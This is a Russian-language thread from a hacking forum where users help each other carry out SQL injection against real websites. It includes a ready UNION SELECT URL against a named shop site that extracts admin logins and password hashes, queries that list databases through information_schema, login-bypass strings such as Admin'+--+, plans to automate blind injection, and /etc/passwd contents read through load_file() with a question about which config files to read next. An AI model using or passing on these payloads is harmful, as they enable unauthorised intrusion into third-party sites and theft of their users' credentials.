ANTICHAT — форум по информационной безопасности, OSINT и технологиям

xarko_v По твоему способу тоже не выводит.

Я уже пробовал по разному:

Команда database() говорит что я работаю с БД bestshop_belklimat. Пробовал подставлять все базы по очереди и в запрос от xarko_v и в свой выше указанный. Что ещё посоветуете?

да там уже шеллов как граблей наверное на твоем сайте...пасс сбрутили уже давно

http://www.belklimat.by/catalog.php?productid=2654+and+1=0+union+select+1, 2,3,4,5,6,7,8,concat%28username,0x3a,password%29,1 0,11,12,13,14,15,%2016,17,18,19,20+from+bestshop_b estshop.jos_users+limit+0,1--+

вот готовый запрос для хэша и логина

чтоб в следующий раз такие вопросы не задавать, хоть примерно пойми синтаксис запросов и статьи повнимательней почитай

Спасибо, приму во внимание.

А как можно узнать количество и имена БД?

а когда вы начнете читать? =\

group_concat(schema_name) from information_schema.schemata

кол.во - count(schema_name) from information_schema.schemata

нашел на одном сайте при вводе логина и пасса ставлю кавычку (') пишет:

Не удалось выполнить запрос!

подскажите какие еще запросы есть наподобие (' or 1=1)

Рекомендую читать мануалы по иньекциям(см. раздел Статьи), хотя имхо иньекция в авторизации сейчас большая редкость. Если коротко в данном случае я бы рекомендовал использовать что-то типа Admin'+--+ где Admin - логин администратора а комментарий -- отсекает проверку пароля. Возможно после кавычки надо будет добавить закрывающую скобку, возможно не одну. И если кавычка реально работает то вместо комментария -- скорее всего можно использовать /* если речь идет о mysql.

Теперь мой вопрос:

Столкнулся со слепой иньекцией типа union+select+555+--+, ошибка не выводится, но выводится название товара с id=555. Товаров достаточно много, так что теоретически существует возможность создать словарик соответствий выводимого названия товара и инжектируемого айди. После чего уже быстро получать значение нужной переменной, ибо на один символ будет приходиться один запрос.

Вопрос в том, существуют ли уже какие-то тулзы для автоматизации этого процесса и если нету, то есть ли в такой тулзе необходимость ибо руки не из жопу растут, могу и написать.

В принципе согласен можно и не заморачиваться и стандартными методами blind раскручивать, но это не интересно и кроме в моем случае кое-какие символы фильтруются и проги эту иньекцию не кушают.

загрузил файл /etc/passwd через sql injection

(и дальше наподобие)

#loginass:1002:65533::0:0::/var/www/xxx.xxx.com:/usr/local/bin/bash

#login1ass1:1000:1000::0:0:user1:/home/alx:/sbin/nologin

получается login и pass от домена xxx.xxx.com/admin ?

blabla:*:1001:65533:ftp-access to xxx.xxx.net:/var/www/xxx.xxx.net/docs:/sbin/nologin

а это что значит? какие еще значения можно загрузить через load file() имею ввиду конфигурационные файлы